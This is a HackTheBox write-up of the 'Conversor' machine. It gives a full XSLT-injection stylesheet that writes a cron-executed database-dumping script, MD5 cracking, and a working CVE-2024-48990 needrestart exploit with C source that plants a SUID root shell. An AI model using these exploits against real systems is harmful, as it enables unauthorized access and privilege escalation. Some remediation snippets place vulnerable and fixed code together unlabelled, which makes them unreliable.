Conversor
Conversor
Platform: HackTheBox | Difficulty: Medium | OS: Linux Date: 2026-01-16 | Status: Solved
Summary
Full HackTheBox machine with an XML-to-HTML converter web app and Linux privilege escalation.
Recon
Reconnaissance
Port Scanning
bash read-only • copy allowednmap -sV -sC 10.129.1.165
Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 |
| 53 | DNS | - |
| 80 | HTTP | Apache 2.4.52 |
The HTTP service redirects to conversor.htb - added to /etc/hosts:
bash read-only • copy allowedecho "10.129.1.165 conversor.htb" | sudo tee -a /etc/hosts
Foothold
Exploitation
Step 1: XSLT Injection via exsl:document
The exsl:document extension allows writing arbitrary files to the filesystem. Created a malicious XSLT file that writes a Python script to dump the database:
malicious.xslt:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> <xsl:output method="text"/> <xsl:template match="/"> <exsl:document href="/var/www/conversor.htb/scripts/cmd.py" method="text"> import sqlite3 conn = sqlite3.connect('/var/www/conversor.htb/instance/users.db') c = conn.cursor() c.execute("SELECT * FROM users") rows = c.fetchall() with open('/var/www/conversor.htb/static/db.txt', 'w') as f: for row in rows: f.write(str(row) + '\n') conn.close() </exsl:document> <xsl:text>done</xsl:text> </xsl:template> </xsl:stylesheet>
trigger.xml:
xml read-only • copy allowed<?xml version="1.0"?> <root>trigger</root>
Step 2: Upload and Wait for Cron
- Registered a test account on the web application
- Uploaded
trigger.xmlandmalicious.xslt - Waited ~60 seconds for cron to execute the Python script
Step 3: Database Extraction
Retrieved the database dump:
bash read-only • copy allowedcurl http://conversor.htb/static/db.txt
Output:
(1, 'fismathack', '5b5c3ac3a1c897c94caad48e6c71fdec')
Step 4: Password Cracking
Identified the hash as MD5 (32 hex characters, no salt).
bash read-only • copy allowedecho "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Result:
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
Step 5: SSH Access
bash read-only • copy allowedssh fismathack@10.129.1.165 cat /home/fismathack/user.txt
Exploitation
Step 1: Create Malicious Shared Library
lib.c:
c read-only • copy allowed#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> // Constructor attribute - runs when library is loaded static void pwn() __attribute__((constructor)); void pwn() { // Only execute payload when running as root if (geteuid() == 0) { setuid(0); setgid(0); // Create SUID shell system("cp /bin/sh /tmp/poc; chmod u+s /tmp/poc"); } }
Step 2: Compile for Target Architecture
Compile on local machine (or use Docker for cross-compilation):
bash read-only • copy allowedgcc -shared -fPIC -o importlib/__init__.so lib.c docker run --rm -v $(pwd):/work -w /work gcc:latest \ gcc -shared -fPIC -o importlib/__init__.so lib.c
Step 3: Upload to Target
bash read-only • copy allowedssh fismathack@10.129.1.165 "mkdir -p ~/pwn/importlib" scp importlib/__init__.so fismathack@10.129.1.165:~/pwn/importlib/
Step 4: Create Python Wait Script
On the target machine:
bash read-only • copy allowedfismathack@conversor:~$ cat > ~/pwn/wait.py << 'EOF' import time while True: time.sleep(1) EOF
Important: The script must NOT be in /tmp/ - needrestart blacklists /tmp/ paths!
Step 5: Execute the Exploit
bash read-only • copy allowedfismathack@conversor:~$ PYTHONPATH=/home/fismathack/pwn python3 ~/pwn/wait.py & [1] 12345 fismathack@conversor:~$ sudo /usr/sbin/needrestart -r l fismathack@conversor:~$ ls -la /tmp/poc -rwsr-xr-x 1 root root 125688 Jan 15 22:39 /tmp/poc
Step 6: Get Root Shell
bash read-only • copy allowedfismathack@conversor:~$ /tmp/poc -p $ id uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack) $ cat /root/root.txt HTB{REDACTED}
User Flag Vulnerabilities
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 1 | Source Code Disclosure | Information leak, reveals attack vectors | Medium |
| 2 | XSLT Injection (exsl:document) | Arbitrary file write on server | High |
| 3 | Insecure Cron Job | Code execution as www-data | High |
| 4 | Weak Password Storage | MD5 without salt, easily crackable | Medium |
When to Use Cron Job Exploitation
- Cron jobs executing files from writable directories
- Wildcard patterns like
*.py,*.shin cron - File write primitive + cron = RCE
Privilege Escalation
Privilege Enumeration
Checking sudo Permissions
bash read-only • copy allowedfismathack@conversor:~$ sudo -l User fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
Checking needrestart Version
bash read-only • copy allowedfismathack@conversor:~$ needrestart --version needrestart 3.7
Critical Finding: needrestart version 3.7 is vulnerable to CVE-2024-48990!
Root Flag
HTB{REDACTED}
┌─────────────────────────────────────────────────────────────────────┐
│ COMPLETE ATTACK CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────── USER FLAG ───────────────────┐ │
│ │ │ │
│ │ 1. Nmap → Port 80 (HTTP) → conversor.htb │ │
│ │ ↓ │ │
│ │ 2. /about → /static/source_code.tar.gz │ │
│ │ ↓ │ │
│ │ 3. Code Analysis: │ │
│ │ • XSLT parser has no restrictions │ │
│ │ • Cron executes *.py in scripts/ │ │
│ │ ↓ │ │
│ │ 4. XSLT Injection (exsl:document) │ │
│ │ → Write Python script to scripts/ │ │
│ │ ↓ │ │
│ │ 5. Cron executes → Database dump │ │
│ │ → (1, 'fismathack', 'MD5_HASH') │ │
│ │ ↓ │ │
│ │ 6. John → Keepmesafeandwarm │ │
│ │ ↓ │ │
│ │ 7. SSH → user.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────── ROOT FLAG ───────────────────┐ │
│ │ │ │
│ │ 8. sudo -l → NOPASSWD: /usr/sbin/needrestart │ │
│ │ ↓ │ │
│ │ 9. needrestart --version → 3.7 (vulnerable!) │ │
│ │ ↓ │ │
│ │ 10. CVE-2024-48990: │ │
│ │ • Create malicious importlib/__init__.so │ │
│ │ • Run Python with PYTHONPATH=~/pwn │ │
│ │ • sudo needrestart -r l │ │
│ │ ↓ │ │
│ │ 11. Constructor creates SUID /tmp/poc │ │
│ │ ↓ │ │
│ │ 12. /tmp/poc -p → root shell → root.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Root Flag Vulnerabilities
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 5 | CVE-2024-48990 | Local privilege escalation to root | Critical |
Additional Notes
Challenge Info
| Field | Value |
|---|---|
| Platform | HackTheBox |
| Target | 10.129.1.165 |
| Category | Web / Linux Privilege Escalation |
| Difficulty | Medium |
| User Flag | HTB{REDACTED} |
| Root Flag | HTB{REDACTED} |
Overview
This is a complete HackTheBox machine involving:
- User Flag: XSLT Injection → Cron Job RCE → Credential Theft → SSH Access
- Root Flag: CVE-2024-48990 needrestart PYTHONPATH Injection → Local Privilege Escalation
Web Application Analysis
Initial Exploration
The website is an XML to HTML converter using XSLT transformation:
- User registers an account
- User uploads XML file
- User uploads XSLT stylesheet
- Server transforms XML using XSLT
- Returns HTML result
Source Code Discovery
On the /about page, found a download link:
/static/source_code.tar.gz
bash read-only • copy allowedcurl -O http://conversor.htb/static/source_code.tar.gz tar -xzf source_code.tar.gz
Source Code Analysis
Key File: app.py
python read-only • copy allowedfrom lxml import etree parser = etree.XMLParser( resolve_entities=False, # No XXE no_network=True, # No external requests dtd_validation=False, load_dtd=False ) xml_tree = etree.parse(xml_path, parser) xslt_tree = etree.parse(xslt_path) # Default parser = vulnerable! transform = etree.XSLT(xslt_tree)
Critical Finding #1: The XML parser is hardened against XXE, but the XSLT parser has NO restrictions, allowing use of dangerous EXSLT extensions like exsl:document.
Key File: install.md
bash read-only • copy allowed* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Critical Finding #2: A cron job runs every minute, executing ALL .py files in /var/www/conversor.htb/scripts/ as www-data.
Attack Vector Identified
XSLT exsl:document → Write .py file to scripts/ → Cron executes as www-data → RCE
User Flag
HTB{REDACTED}
CVE-2024-48990 Analysis
Vulnerability Description
needrestart < 3.8 is vulnerable to local privilege escalation via PYTHONPATH injection:
- When
needrestartscans running processes to check if they need restart - It identifies Python processes and runs the Python interpreter to check library versions
- The vulnerability: needrestart uses the
PYTHONPATHenvironment variable from the scanned process - If an attacker controls a Python process with a malicious
PYTHONPATH, needrestart will load attacker-controlled modules as root
Attack Flow
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2024-48990 ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create malicious shared library with constructor │
│ └─> __attribute__((constructor)) runs on library load │
│ │
│ 2. Place as importlib/__init__.so in controlled directory │
│ └─> Python imports importlib early during startup │
│ │
│ 3. Run Python process with PYTHONPATH pointing to our directory │
│ └─> PYTHONPATH=/home/fismathack/pwn python3 wait.py & │
│ │
│ 4. Run sudo needrestart │
│ └─> needrestart scans our Python process │
│ └─> Runs python3 with OUR PYTHONPATH as root │
│ └─> Loads our malicious importlib/__init__.so │
│ └─> Constructor executes as root! │
│ │
│ 5. Constructor creates SUID shell │
│ └─> cp /bin/sh /tmp/poc; chmod u+s /tmp/poc │
│ │
│ 6. Execute SUID shell │
│ └─> /tmp/poc -p → root shell │
│ │
└─────────────────────────────────────────────────────────────────────┘
When to Use XSLT Injection
- XSLT transformation functionality in web app
libxsltorlxmlwithout explicit access controls- No
XSLTAccessControl.DENY_ALLrestriction - Look for
exsl:document,saxon:output, or similar extensions
When to Use CVE-2024-48990
sudo needrestartwithout password- needrestart version < 3.8
- Can run Python processes with controlled PYTHONPATH
- Target directory NOT in
/tmp/(blacklisted)
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service detection |
| curl | HTTP requests and file download |
| ffuf | Directory/file enumeration |
| john | MD5 hash cracking with rockyou.txt |
| sqlite3 | Database extraction |
| gcc | Compile malicious shared library |
| scp | File transfer to target |
| ssh | Remote access |
XSLT Security
python read-only • copy allowedfrom lxml import etree xslt_ac = etree.XSLTAccessControl( read_file=False, write_file=False, create_dir=False, read_network=False, write_network=False ) xslt_tree = etree.parse(xslt_path) transform = etree.XSLT(xslt_tree, access_control=xslt_ac)
Cron Job Security
bash read-only • copy allowed* * * * * for f in /path/*.py; do python3 "$f"; done * * * * * python3 /path/specific_script.py
Password Storage
python read-only • copy allowedimport hashlib password_hash = hashlib.md5(password.encode()).hexdigest() import bcrypt password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
Flags
| Flag | Value |
|---|---|
| user | HTB{REDACTED} |
| root | HTB{REDACTED} |
Lessons Learned
bash read-only • copy allowedapt update && apt upgrade needrestart echo '$nrconf{interpscan} = 0;' >> /etc/needrestart/needrestart.conf
- EXSLT Document Extension
- XSLT Security - OWASP
- CVE-2024-48990 - needrestart LPE
- Qualys Advisory - needrestart
- lxml Security Documentation